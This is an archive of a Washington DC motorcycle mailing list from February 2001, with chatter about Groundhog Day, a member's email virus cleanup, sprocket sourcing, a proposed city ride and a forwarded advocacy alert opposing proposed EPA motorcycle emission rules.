S." To: "'Hugh Caldwell'" , dc-cycles@XXXXXX Subject: RE: [dccycles2] Kill the Groundhog! Date: Fri, 2 Feb 2001 11:45:53 -0500 That's a riff from "Groundhog Day" if I'm not mistaken, Hugh. My favorite line: "Don't drive angry!" -----Original Message----- From: Hugh Caldwell [mailto:twg@XXXXXX] Sent: Friday, February 02, 2001 11:21 AM To: dc-cycles@XXXXXX Subject: Re: [dccycles2] Kill the Groundhog! On Fri, 2 Feb 2001, Tom Gimer wrote: > When Chekov saw the long winter, he saw a winter bleak and > dark and bereft of hope. Yet, we know that winter is just > ... You're weird! ---------------------------------------------------------------- Hugh A. Caldwell BeGeek Simpleton#9 ZR750-C2 VFR800FI ---------------------------------------------------------------- From dc-cycles-request Fri Feb 2 11:49:12 2001 Date: Fri, 02 Feb 2001 11:43:28 -0500 From: "William J. Huson" To: Perry Coleman CC: dccycles2@XXXXXX, dc-cycles@XXXXXX Subject: Re: Apologies... Yeppers. My non-updated Norton missed the bug and I loaded McAfee and found the bug but it couldn't be "cleaned" so I bagged the whole system and loaded McAfee in as part of the restocking. Probably update the *new* McAfee this evening. Bill Perry Coleman wrote: > Bill, > > Did rebuilding your system include installing a good anti-virus scanner? Of > course, you also need to keep the signature files up to date. Most AV > vendors post updates weekly. > > If you don't want to hassle with installations and updates, check out > MCAFEE.COM. They have a service for home users to keep you protected for > something like $30-40 per year. > > When you consider how much time and hassle is involved in cleaning up after > a virus infection, it's not that much money to spend. > > Perry > > p.s. No, I don't work for McAfee, but I am familiar with their products. > > >From: "William J. Huson" > >To: dccycles2@XXXXXX > >CC: DC-Cycles Mailing List > >Subject: Apologies... > >Date: Fri, 02 Feb 2001 10:16:32 -0500 > > > >Things to remember - when guests visit for a long weekend, NEVER let > >amatuers dink with your computor. Obviously, the buggers didn't practice > >the net version of safe-sex and my poor computer caught an STD - one of > >those cute ones that keeps on *giving* by attaching to my emails and > >screwing over my addy book. > > > >Sorry for the distress caused, thanx to Mike Troutman for giving me a heads > >up that I had a bug. Damn thing is dead now - had to format the C drive > >and start from scratch to get rid of the fucker. That wuz a Royal Pain In > >The Ass (RPITA) > > > >Bill > > > > > > > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Fri Feb 2 12:04:30 2001 Date: Fri, 2 Feb 2001 09:04:26 -0800 (PST) From: Hugh Caldwell To: dc-cycles@XXXXXX Subject: Re: [dccycles2] Kill the Groundhog! I stand by my previous statement. On Fri, 2 Feb 2001, Perry Coleman wrote: > He plagiarized "Groundhog Day" with Bill Murray... ;^) > ---------------------------------------------------------------- Hugh A. Caldwell BeGeek Simpleton#9 ZR750-C2 VFR800FI ---------------------------------------------------------------- From dc-cycles-request Fri Feb 2 12:35:01 2001 Date: Fri, 2 Feb 2001 09:34:57 -0800 (PST) From: Adam Reinhardt Subject: The Groundhog Froze To: dc-cycles@XXXXXX Having spent the majority of my winter here St. Paul, Minnesota, I can think of thousands of better alternatives to a "long .. and lustrous winter." Don't get me started. Current temp = -10 "bitter with some sun" Adam Reinhardt The snow loses its luster when it never goes away __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 12:53:13 2001 Date: Fri, 02 Feb 2001 12:54:23 -0500 From: Chuck Pena To: DC Cycles , DCCycles2 Subject: Renthal sprockets FYI... Just thought y'all might want to know that it is now going to be much more difficult to get Renthal sprockets at discounted prices. Apparently, Renthal has struck some sort of new distribution deal (with Parts Unlimited, I think). A lot of places that used to carry Renthal sprockets (e.g., Chaparral, Dennis Kirk) are phasing them out (or at least a significant part of the Renthal line). For example, I ordered a 15t front and 44t rear from Chaparral for my GSXR750 in mid-January. I talked to Chaparral today and the front is never going to materialize because they've been discontinued by Chaparral (shades of the Garmin GPS III+ at Office Depot!) The rear is (was, I actually cancelled my order) on terminal backorder (and would also probably never materialize). Dennis Kirk (who I know has a policy of price matching) isn't carrying Renthal anymore. Pricing at Motorcycle Accessory Warehouse is actually more expensive than buying them at a local shop (in this case, Crossroads Cycles). I guess Renthal didn't like the fact that I used to be able to buy both the front and rear sprockets from Chaparral for not much more than what everyone else is now selling just the rear sprocket for! BTW, anyone have any other sources for buying Renthal sprockets at a discount??? If not, I guess I'll just get them from Denny at Crossroads. Chuck -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Fri Feb 2 12:57:04 2001 From: "Perry Coleman" To: twg@XXXXXX, dc-cycles@XXXXXX Subject: Re: [dccycles2] Kill the Groundhog! Date: Fri, 02 Feb 2001 12:56:54 -0500 Hugh, I didn't disagree with you... ;^) Perry p.s. Just kidding, TG! Really!! >From: Hugh Caldwell >To: dc-cycles@XXXXXX >Subject: Re: [dccycles2] Kill the Groundhog! >Date: Fri, 2 Feb 2001 09:04:26 -0800 (PST) > > > I stand by my previous statement. > >On Fri, 2 Feb 2001, Perry Coleman wrote: > > > He plagiarized "Groundhog Day" with Bill Murray... ;^) > > > >---------------------------------------------------------------- >Hugh A. Caldwell BeGeek Simpleton#9 ZR750-C2 VFR800FI >---------------------------------------------------------------- > > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Fri Feb 2 13:12:44 2001 Date: Fri, 2 Feb 2001 13:12:35 -0500 (EST) From: Kirk Roy To: DC-Cycles Mailing List Subject: Re: Apologies... On Fri, 2 Feb 2001, Perry Coleman wrote: > Did rebuilding your system include installing a good anti-virus > scanner? Of course, you also need to keep the signature files up to > date. Most AV vendors post updates weekly. Shoot, you can do better than that. Read your mail with UNIX! :) Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Fri Feb 2 13:35:36 2001 From: "Jeannette_Zell" To: "DC-Cycles Mailing List" Subject: OH...MY...GOD Date: Fri, 2 Feb 2001 13:46:59 -0500 I just took Big Red out for a spin. WHY haven't I done for about two months!!?? OMG, I forgot how much I love riding. Somebody slap me! - Jeannette '86 VFR 700 F2 http://www.geocities.com/motorcity/speedway/3081 From dc-cycles-request Fri Feb 2 13:41:08 2001 Date: Fri, 2 Feb 2001 10:40:59 -0800 (PST) From: Justin Stefanon Subject: Re: OH...MY...GOD To: dc-cycles@XXXXXX if I don't get the thunder lizard rolling by sunday, y'all are going to read about me in the paper, cuz im gonna go POSTAL unless I can start riding again congratulations, Jeannette, on re-balancing your priorities. I don't understand people who quit riding for good. Are they just a hoax, or do they really exist? --- Jeannette_Zell wrote: > I just took Big Red out for a spin. > WHY haven't I done for about two months!!?? > OMG, I forgot how much I love riding. > Somebody slap me! > > - Jeannette > '86 VFR 700 F2 > http://www.geocities.com/motorcity/speedway/3081 > > __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 14:12:00 2001 Date: Fri, 2 Feb 2001 14:11:51 -0500 (EST) From: Morris Berman To: Kirk Roy cc: DC-Cycles Mailing List Subject: Re: Apologies... Why would I want to read my mail with a bunch of castrated men when I can read it from among the trees using Pine? -Mb ------------------------------------------------------------------------------- Morris Berman, berman@XXXXXX '96 Kawasaki GPz1100, '82 GS650GL (DoD #1237), Scuba, Skiing, AMA (M/C) #446884 ------------------------------------------------------------------------------- No one is responsible for what I say...well, OK, maybe me. Managers are like cats in a litter box. They're always rearranging trying to cover up what they've done. --Scott Adams On Fri, 2 Feb 2001, Kirk Roy wrote: > On Fri, 2 Feb 2001, Perry Coleman wrote: > > Did rebuilding your system include installing a good anti-virus > > scanner? Of course, you also need to keep the signature files up to > > date. Most AV vendors post updates weekly. > > Shoot, you can do better than that. Read your mail with UNIX! :) > > Kirk > 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) > 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) > DCOffroad - the Wash, DC area offroad e-mail list: > http://www.egroups.com/community/dcoffroad > From dc-cycles-request Fri Feb 2 14:29:10 2001 From: "Jeannette_Zell" To: "Justin Stefanon" , Subject: Re: OH...MY...GOD Date: Fri, 2 Feb 2001 13:57:27 -0500 LOL, well, the husband keeps telling me when I get pregnant that we're going to take my bike apart and put it up!!! : ( NOOOOOOOOOOOOOOOOOOOO! Somebody, please, set him straight! ; ) - Jeannette http://www.geocities.com/motorcity/speedway/3081 ----- Original Message ----- From: "Justin Stefanon" To: Sent: Friday, February 02, 2001 1:40 PM Subject: Re: OH...MY...GOD > if I don't get the thunder lizard rolling by sunday, > y'all are going to read about me in the paper, cuz im > gonna go POSTAL unless I can start riding again > > congratulations, Jeannette, on re-balancing your > priorities. I don't understand people who quit riding > for good. Are they just a hoax, or do they really > exist? > From dc-cycles-request Fri Feb 2 14:33:06 2001 Date: Fri, 2 Feb 2001 11:33:02 -0800 (PST) From: "Louis F. Caplan" Subject: AMA finally makes a release To: DC-Cycles The AMA finally made a public comment about the conditions behind former President Thornton's retirement / removal. http://www.ama-cycle.org/releases/a01007.html They point out that they do not publicly comment on personnel matters. But since this had to do with their president, someone who represents the whole association, they should have come clean sooner (IMHO). However, I am glad that once they learned of the problem, they did something about it, and not tried to cover it up like with their previous problems. Screw-ups do happen. Mistakes do happen. It's how those situations are handled that shows how good/bad the organization itself is. This time I'd give them a "Fair." They got rid of him, but kept quiet. Louis __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 14:52:23 2001 Date: Fri, 02 Feb 2001 13:48:10 -0600 From: "George Cole" To: Subject: Re: Thornon's Gap / 211 Moto Video? For those of you that are not Bandwidth challenged ( I am ) Here is a site with lots o' MC videos. http://www.bikepics.com/bikemovies/ Cheers, George Cole 00 VFR 99 R6 From dc-cycles-request Fri Feb 2 15:27:19 2001 Subject: Re: Thornon's Gap / 211 Moto Video? To: dc-cycles@XXXXXX From: jitabashi@XXXXXX Date: Fri, 2 Feb 2001 15:07:03 -0500 X-MIMETrack: Serialize by Router on WBLN0014/Facility/World Bank(Release 5.0.5 |September 22, 2000) at 02/02/2001 03:06:40 PM Yeah that is a friend of mine's site. I am sure he would like it if you joined and uploaded photos of you bikes. James Itabashi The World Bank Group Site 8 SMS Administrator ISGGC - ISGITC 202-458-1697 x.81697 I2-165D jitabashi@XXXXXX "George Cole" .bcop.com> cc: Subject: Re: Thornon's Gap / 211 Moto Video? 02/02/2001 02:48 PM For those of you that are not Bandwidth challenged ( I am ) Here is a site with lots o' MC videos. http://www.bikepics.com/bikemovies/ Cheers, George Cole 00 VFR 99 R6 From dc-cycles-request Fri Feb 2 15:43:33 2001 Date: Fri, 2 Feb 2001 15:43:26 -0500 (EST) From: Kirk Roy To: DC-Cycles Mailing List Subject: Re: Apologies... On Fri, 2 Feb 2001, Morris Berman wrote: > Why would I want to read my mail with a bunch of castrated men when I > can read it from among the trees using Pine? You want those guys around because they've got nothing better to do than to make sure you don't pick up a virus. This message was penned in the PINE. I try to stay away from elm, I think I'm allergic... Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Fri Feb 2 16:19:27 2001 From: RacerGirl435@XXXXXX Date: Fri, 2 Feb 2001 16:19:11 EST Subject: Re: OH...MY...GOD To: dc-cycles@XXXXXX --part1_39.1021e071.27ac7e4f_boundary Simple solution.....DON'T get pregnant. It's worked for me so far. lol Now if I could just AFFORD a motorcycle. :o( Onur, you still got that 750? --part1_39.1021e071.27ac7e4f_boundary Simple solution.....DON'T get pregnant.  It's worked for me so far.  lol  Now
if I could just AFFORD a motorcycle.  :o(  Onur, you still got that 750? --part1_39.1021e071.27ac7e4f_boundary-- From dc-cycles-request Fri Feb 2 16:40:46 2001 Date: Fri, 2 Feb 2001 13:40:41 -0800 (PST) From: Justin Stefanon Subject: Re: OH...MY...GOD To: dc-cycles@XXXXXX didn't you know that motorcycles cause pregnancy? actually,it's an indirect relationship. empirically observed by me, that i get more when my bike is running. merely reiterating the correct choice of wife, I suppose. --- RacerGirl435@XXXXXX wrote: > Simple solution.....DON'T get pregnant. It's worked > for me so far. lol Now > if I could just AFFORD a motorcycle. :o( Onur, you > still got that 750? > __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 16:59:43 2001 From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Fri, 02 Feb 2001 16:59:38 -0500 Subject: more groundhog Freeverse from unknown.... It is winter The groundhog sees a shadow It is the front tire of my truck There will be six more weeks of winter But not for the groundhog -- "Civilization can nly begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Fri Feb 2 17:20:20 2001 Date: Fri, 02 Feb 2001 17:14:45 -0500 From: "William J. Huson" To: Matthew Patton CC: dc-cycles@XXXXXX Subject: Re: more groundhog Matthew Patton wrote: > > "Civilization can nly begin when sex is restrained." - Sigmond Freud > Oh, dear me, Sigmond Freud was into bondage? Hey, learm sumpin new every day... Bill From dc-cycles-request Fri Feb 2 19:04:51 2001 From: "deus exMachina" To: , Subject: DC Ride Date: Fri, 2 Feb 2001 19:05:04 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C08D4B.0D17C8A0 Hey people.. I've been on the list for a few months, thanks to Corbin who I met through some friends.. I went on a couple of good rides too and met Brian, Laura and a few other folks.. I remember a little while back some talk of a bike night in dc.. I've been living here for a couple of years and ride all around town. I've had my bike knocked over once myself and re-ended a taxi.. I know alot of riders who never enter the city cause of various reasons, but for any off season riders who would venture into dc I can suggest a few places where parking and traffic wouldn't be a problem. Depending on how much space you're looking for there are a few places that would accomodate a group of almost any size.. I like to ride so I could meet pretty much anywhere but if people are interested I'll throw a couple maps on a response mail and plan a short route, on good road, around dc for those who would like to ride too. So.. If I get 1 or 38 responses I can make it a go. Washington really is a pretty town to ride in if you're willing to get yourself in.. I'll suggest "My Brothers Place" for now and depending on how the response goes maybe we won't need that much space and we could talk about another location downtown.. The weather's not looking so great for the next bit, but maybe next weekend we could make something happen. Respond private or public.. all riders welcome.. Trevor K1 ------=_NextPart_000_0014_01C08D4B.0D17C8A0
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I've=20 been on the list for a few months, thanks to Corbin who I met through = some=20 friends..  I went on a couple of good rides too and met Brian, = Laura and a=20 few other folks..  I remember a little while back some talk of a = bike night=20 in dc..  I've been living here for a couple of years and ride all = around=20 town.  I've had my bike knocked over once myself and re-ended a=20 taxi..  I know alot of riders who never enter the city cause of = various=20 reasons, but for any off season riders who would venture into dc I can = suggest a=20 few places where parking and traffic wouldn't be a = problem.
 
Depending on how much space you're looking for there are a few = places=20 that would accomodate a group of almost any size..  I like to ride = so I=20 could meet pretty much anywhere but if people are interested I'll throw = a couple=20 maps on a response mail and plan a short route, on good road, around dc = for=20 those who would like to ride too.  So..  If I get 1 or 38 = responses I=20 can make it a go.  Washington really is a pretty town to ride in if = you're=20 willing to get yourself in..
 
I'll=20 suggest "My Brothers Place" for now and depending on how the = response=20 goes maybe we won't need that much space and we could talk about another = location downtown..  The weather's not looking so great for the = next bit,=20 but maybe next weekend we could make something = happen.
 
Respond private or public..  all riders=20 welcome..
 
Trevor
 
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------=_NextPart_000_0014_01C08D4B.0D17C8A0-- From dc-cycles-request Fri Feb 2 19:40:27 2001 Date: Fri, 2 Feb 2001 16:40:21 -0800 (PST) From: "Aaron S. Ward" To: deus exMachina cc: dc-cycles@XXXXXX, dccycles2@XXXXXX Subject: Re: DC Ride Yeah I'm up for a ride no matter what (new to area and only for about 1 month) Aaron __________________________________________________________________________ Aaron S. Ward ward@XXXXXX Whatever happens, remember it's the journey, not the destination From dc-cycles-request Fri Feb 2 19:47:57 2001 Date: Fri, 2 Feb 2001 19:47:37 -0500 (EST) From: Peter Hartzler To: Matthew Patton cc: dc-cycles@XXXXXX Subject: Re: more groundhog Hmm... http://ushotstuff.com//wg/GroundhogSmp.htm *burp* ObMoto: I'm thinking of buying one of those pre-fab sheds to make a small shop/garage out of, to make simple bike maintenance easier, and maybe to house a second bike... Has anyone gone this route, and if so (or not), any advice would be welcome... TIA, Pete. On Fri, 2 Feb 2001, Matthew Patton wrote: > Freeverse from unknown.... > > It is winter > The groundhog sees a shadow > It is the front tire of my truck > There will be six more weeks of winter > But not for the groundhog > -- > > > "Civilization can nly begin when sex is restrained." - Sigmond Freud > > > _______________________________________________ > Get your free email from http://mail.theglobe.com > > Powered by Outblaze > From dc-cycles-request Fri Feb 2 20:13:31 2001 From: SBave@XXXXXX Date: Fri, 2 Feb 2001 20:13:04 EST Subject: Re: more groundhog To: pete@XXXXXX CC: dc-cycles@XXXXXX pete@XXXXXX writes: << I'm thinking of buying one of those pre-fab sheds to make a small shop/garage out of, to make simple bike maintenance easier, and maybe to house a second bike >> Hey Pete, I have a 2 car garage and one of those sheds. The shed is great, just get a good floor and foundation. I have my boy's quad and dirtbike in the shed...this spring I'm going to run power out there for lights and such. I guess what I'm saying after all this rambling is I think the shed would work great! :) Steve Broadstreet Winchester, VA From dc-cycles-request Fri Feb 2 21:09:07 2001 Date: Fri, 02 Feb 2001 21:03:28 -0500 From: "William J. Huson" To: SBave@XXXXXX CC: pete@XXXXXX, dc-cycles@XXXXXX Subject: Re: more groundhog SBave@XXXXXX wrote: > pete@XXXXXX writes: > > << I'm thinking of buying one of those pre-fab sheds to make a small > shop/garage out of, to make simple bike maintenance easier, and maybe to > house a second bike >> Check your local zoning codes and those annoying "covenents". Methinks a shed less than 100 square feet is a no-call in fairfax co. And remember the law - "Junk acumulates to fill the space available." If you don't believe it, I have a 650 sq ft garage and a two car carport, all my cars & trucks sleep outside. Bill From dc-cycles-request Sat Feb 3 12:02:38 2001 Date: Sat, 03 Feb 2001 11:58:32 -0800 To: balt-cycles@XXXXXX From: Gerry McMahon Subject: Fw: Attention Motorcycle Riders and Owners Cc: dc-cycles@XXXXXX --=====================_4862950==_.ALT Hi Guys, Thought I would pass this along in case you are interested ... if not press the delete key. Gerry EPA Pushes California Emission Standards Nationwide In November 2000, the Environmental Protection Agency signaled its intention to adopt California's emissions standards -- the strictest in the country -- and apply them nationwide to all motorcycles -- street and off-road. Among the new controls on the drawing board ways to stop motorcyclists from customizing the look, sound and performance of their machines. Combating new, questionable emission controls on street bikes may emerge as the leading federal issue to be tackled in Washington by the Motorcycle Riders Foundation and its co-partners, State Motorcyclists' Rights Organizations (SMROs) nationwide. "Given that California has recently put in place technologically challenging standards for [large displacement street] motorcycles in a time frame that we would likely consider for a possible federal program, we are likely to look very closely at the pros and cons of harmonizing the federal program and whether the California standards are appropriate for a nationwide federal program," the agency wrote in its November Advance Notice of Proposed Rulemaking (ANPR) which appeared again in the Federal Register December 7th. The move follows two years of technical talks between EPA and industry. In those talks, however, the topic never strayed from bikes in the woods to bikes on the highway. According to several industry sources close to the off-road technical talks with EPA, street bikes were added as a bargaining chip. The Sierra Club had filed suit against EPA, seeking new restrictions on off-road vehicle emissions sooner rather than later. Having exceeded the deadline for action set in the legal wrangling, EPA returned to the negotiating table to seek more time to achieve new off-road emission standards. Sierra Club acquiesced to the agency's bid for more time when the hope of tighter controls on highway motorcycles were tossed in to sweeten the deal. The first step to new, tougher emission standards, EPA's ANPR reads like a regulator's wish list catalytic converters, new controls on the smallest of motorcycle makers and ways to prevent or prohibit motorcyclists from customizing their rides. Wary of motorcyclists' desire to improve the look, sound and performance of our bikes through improvements to exhaust and other systems -- a practice it terms "tampering" -- EPA is researching strategies to "mitigate this problem." EPA is concerned that "standards which result in the widespread use of catalytic converters will achieve less benefits than projected due to consumer tampering with the exhaust systems. The agency will solicit comment on "the magnitude of these consumer practices" and ways to stop it -- either by device, prohibitions or both. EPA also seeks to control the smallest of motorcycle makers. With small-volume American motorcycle manufacturers spreading, to our delight, like micro-breweries, EPA questions the appropriateness of the current federal definition of small business as applied to small-volume bike makers. The agency's interest here is hardly academic it wishes to impose the same, California-style controls on all motorcycles, period, regardless of the small number of bikes produced. Meanwhile, the European Union has pressed for a two-tier reduction in motorcycle emissions in 2002 and 2006. Citing new developments in injection technology, MRF's European ally, the Federation of European Motorcycle Associations (FEMA), reports that many of the motorcycles sold in Europe may meet the new requirements without a closed-loop catalytic converter (or "cat"). In this country, however, with its advance notice littered with mentions of the device, it's clear that EPA is a cat lover. MRF and FEMA share profound concerns about cats on motorcycles, among them More Cats, More Pollution? In Europe, the average journey length for an automobile is 20 kilometers. At that point, a cat is up to operating temperature (a nominal 800 degrees Fahrenheit). The average journey length for a bike in Europe is far less. With a cat operating at colder temperatures, the result is more harmful emissions, not less. All This...For a Fraction of a Percent? MRF advances motorcycling as a safe, sound and exhilarating transportation alternative to cars, and Americans are responding by buying and using motorcycles like never before. Nevertheless, our bikes cover a tiny fraction of the miles racked up by passenger cars, making the contribution to pollution by highway motorcycles a tiny fraction of a percent. In 1997, cars, light trucks and SUVs accumulated 2.4 trillion vehicle miles traveled. Of the 5.1 million highway motorcycles operating in 1998, the Motorcycle Industry Council estimates, the average bike clocked just 2,613 miles that year. In short, we rode just .55% of the miles driven by cars, light trucks and SUVs. During the regulatory proceedings that led to California's stricter emission standards, the California Air Resources Board estimated that the average emission level generated by in-use highway motorcycles was .96 grams of hydrocarbons per mile. Expressed as a function of the number of motorcycles registered at the time of that debate, street bikes emitted six one-thousandths of one percent of the emissions generated by all on-road motor vehicles -- hardly justification for costly devices that strangle American motorcycles, hike prices for consumers, threaten small business, chill the burgeoning motorcycle after-market and limit if not eliminate riders' freedom to customize our rides. Important Things to Keep in Mind. Public comments must be received by EPA not later than February 5, 2001. If you, as an individual and as an SMRO, submit your comments, you will be part of the debate that will stretch through the Summer of 2001. Public comments should contain sound technical arguments. Rhetoric and name-calling will not move the debate in the direction you want it to go. According to the court decree, the EPA Administrator must sign the new standards not later than September 14, 2001. Keep in mind that the court decree requires new standards on off-road vehicles only. Technical talks between EPA and makers have focused solely on off-road vehicles for two years. Street riders have not been given that period of time for involvement, much less study and consultation. Federal highway motorcycle emissions haven't changed in 23 years, but if it's time to consider a change, it's time to give our community the time to study it. Study the advanced notice. The summary is attached below. You can obtain HTML or PDF versions at the Federal Register on-line by pointing your browser to the following site, http//www.access.gpo.gov/su_docs/aces/aces140.html and then, using the search function there, find the December 7, 2000, document titled "Control of Emissions From Non-road Large Spark Ignition Engines, Recreational Engines (Marine and Land-Based), and Highway Motorcycles." Know the other chess player EPA's mandate is not to obtain a new standard that many might agree is "reasonable." EPA's mandate is to obtain the maximum gain possible considering technology and cost. BREAK THE CHOKE-HOLD! 1. FIRST, ASK CONGRESS FOR HELP. Write a letter to your Congressman and two U.S. Senators immediately to inform them of this situation and to ask for their help. Let them know you are concerned that a choke-hold on highway motorcycles is being rushed into place, and you need their support to help break the choke-hold. Use your own words or borrow as much as you'd like from this alert, but send the letters now. 2. SECOND, SEND YOUR PUBLIC COMMENTS TO EPA. In all correspondence, refer to Docket A-2000-01, the "Control of Emissions From Non-road Large Spark Ignition Engines, Recreational Engines (Marine and Land-Based), and Highway Motorcycles." a. BY MAIL. Send paper copies of written comments (in duplicate if possible) to Margaret Borushko, U.S. EPA, National Vehicle and Fuels Emission Laboratory, 2000 Traverwood, Ann Arbor, MI 48105; Telephone: (734) 214-4334, Fax: (734) 214-4050, e-mail: borushko.margaret@XXXXXX b. VIA E-MAIL. E-mail comments to nranprm@XXXXXX'' In your correspondence, refer to Docket A-2000-01 . 3. THIRD, TRIPLE YOUR VOICE. Send this alert to 3 other riders you know. Urge them to send their comments AND join MRF by calling 202-546-0983. We will need all the help we can get to break the choke-hold. -- **COPYRIGHT NOTICE** In accordance with Title 17 U. S. C. Section 107, any copyrighted work in this message is distributed under fair use without profit or payment to those who have expressed a prior interest in receiving the included information for nonprofit research and educational purposes only.[Ref. http//www.law.cornell.edu/uscode/17/107.shtml] [Federal Register: December 7, 2000 (Volume 65, Number 236)] [Proposed Rules] [Page 76797-76829] From the Federal Register Online via GPO Access [wais.access.gpo.gov] [DOCID:fr07de00-20] [[Page 76797]] ----------------------------------------------------------------------- ENVIRONMENTAL PROTECTION AGENCY 40 CFR Parts 86, 94, 1048 and 1051 [FRL-6907-6] Control of Emissions From Nonroad Large Spark Ignition Engines, Recreational Engines (Marine and Land-Based), and Highway Motorcycles AGENCY: Environmental Protection Agency. ACTION: Advance notice of proposed rulemaking. ----------------------------------------------------------------------- SUMMARY: With this advance notice of proposed rulemaking (ANPRM), we are continuing with our process of establishing standards for nonroad engines and vehicles that cause or contribute to air pollution. The ANPRM addresses nonroad engines and vehicles that have yet to be regulated by EPA, including: Large spark ignition (SI) engines such as those used in forklifts and airport tugs; Recreational vehicles using spark ignition engines such as off-highway motorcycles, all-terrain vehicles, and snowmobiles; and Recreational marine diesel engines and marine spark ignition sterndrive and inboard engines. These engines and vehicles contribute to ozone, carbon monoxide (CO), and particulate matter (PM) nonattainment. We are also concerned in some cases about personal exposure to high levels on CO, air toxics, and PM to persons operating or close to this equipment. With this ANPRM, we invite early input to the process to establishing standards and programs for these nonroad sources. We are also seeking comment on whether EPA should pursue rulemaking to establish more stringent emissions standards for highway motorcycles. While standards are in place for highway motorcycles, the current standards were established more than twenty years ago. Since off-highway motorcycles are included this ANPRM as part of nonroad recreational vehicles, we believe it may be appropriate to consider standards for both types of motorcycles together. --=====================_4862950==_.ALT Hi Guys,

Thought I would pass this along in case you are interested ... if not press the delete key.

Gerry


EPA Pushes California Emission Standards Nationwide

In November 2000, the Environmental Protection Agency signaled its
intention to adopt California's emissions standards -- the strictest in the country
-- and apply them nationwide to all motorcycles -- street and off-road.
Among the new controls on the drawing board ways to stop motorcyclists from
customizing the look, sound and performance of their machines.

Combating new, questionable emission controls on street bikes may emerge
as the leading federal issue to be tackled in Washington by the Motorcycle
Riders Foundation and its co-partners, State Motorcyclists' Rights
Organizations (SMROs) nationwide.

"Given that California has recently put in place technologically challenging
standards for [large displacement street] motorcycles in a time frame that
we would likely consider for a possible federal program, we are likely to
look very closely at the pros and cons of harmonizing the federal program and
whether the California standards are appropriate for a nationwide federal
program," the agency wrote in its November Advance Notice of Proposed
Rulemaking (ANPR) which appeared again in the Federal Register December 7th.

The move follows two years of technical talks between EPA and industry.
In those talks, however, the topic never strayed from bikes in the woods to bikes on the highway. According to several industry sources close to the off-road technical talks with EPA, street bikes were added as a bargaining chip. The Sierra Club had filed suit against EPA, seeking new restrictions on off-road vehicle emissions sooner rather than later. Having exceeded the deadline for action set in the legal wrangling, EPA returned to the negotiating table to seek more time to achieve new off-road emission standards. Sierra Club acquiesced to the agency's bid for more time when the hope of tighter controls on highway motorcycles were tossed in to sweeten the deal.

The first step to new, tougher emission standards, EPA's ANPR reads like a regulator's wish list catalytic converters, new controls on the smallest of motorcycle makers and ways to prevent or prohibit motorcyclists from customizing their rides.

Wary of motorcyclists' desire to improve the look, sound and performance of
our bikes through improvements to exhaust and other systems -- a practice
it terms "tampering" -- EPA is researching strategies to "mitigate this
problem." EPA is concerned that "standards which result in the widespread
use of catalytic converters will achieve less benefits than projected due to
consumer tampering with the exhaust systems. The agency will solicit
comment on "the magnitude of these consumer practices" and ways to stop it --
either by device, prohibitions or both.

EPA also seeks to control the smallest of motorcycle makers. With
small-volume American motorcycle manufacturers spreading, to our
delight, like micro-breweries, EPA questions the appropriateness of the current
federal definition of small business as applied to small-volume bike makers.

The agency's interest here is hardly academic it wishes to impose the same,
California-style controls on all motorcycles, period, regardless of the small
number of bikes produced.

Meanwhile, the European Union has pressed for a two-tier reduction in
motorcycle emissions in 2002 and 2006. Citing new developments in injection
technology, MRF's European ally, the Federation of European Motorcycle
Associations (FEMA), reports that many of the motorcycles sold in Europe
may meet the new requirements without a closed-loop catalytic converter (or
"cat").

In this country, however, with its advance notice littered with mentions of the device, it's clear that EPA is a cat lover. MRF and FEMA share profound concerns about cats on motorcycles, among them More Cats, More Pollution?

In Europe, the average journey length for an automobile is 20 kilometers. At
that point, a cat is up to operating temperature (a nominal 800 degrees Fahrenheit). The average journey length for a bike in Europe is far less.
With a cat operating at colder temperatures, the result is more harmful
emissions, not less.

All This...For a Fraction of a Percent?

MRF advances motorcycling as a safe, sound and exhilarating transportation
alternative to cars, and Americans are responding by buying and using
motorcycles like never before. Nevertheless, our bikes cover a tiny fraction
of the miles racked up by passenger cars, making the contribution to
pollution by highway motorcycles a tiny fraction of a percent. In 1997, cars, light trucks and SUVs accumulated 2.4 trillion vehicle miles traveled. Of the 5.1 million highway motorcycles operating in 1998, the Motorcycle Industry Council estimates, the average bike clocked just 2,613 miles that year. In short, we rode just .55% of the miles driven by cars, light trucks and SUVs.

During the regulatory proceedings that led to California's stricter emission standards, the California Air Resources Board estimated that the average emission level generated by in-use highway motorcycles was .96 grams of hydrocarbons per mile. Expressed as a function of the number of motorcycles
registered at the time of that debate, street bikes emitted six one-thousandths of one percent of the emissions generated by all on-road motor vehicles -- hardly justification for costly devices that strangle American motorcycles, hike prices for consumers, threaten small business, chill the burgeoning motorcycle after-market and limit if not eliminate riders' freedom to customize our rides.

Important Things to Keep in Mind.
Public comments must be received by EPA not later than February 5, 2001.
If you, as an individual and as an SMRO, submit your comments, you will be
part of the debate that will stretch through the Summer of 2001. Public comments should contain sound technical arguments. Rhetoric and name-calling will not move the debate in the direction you want it to go.

According to the court decree, the EPA Administrator must sign the new
standards not later than September 14, 2001.

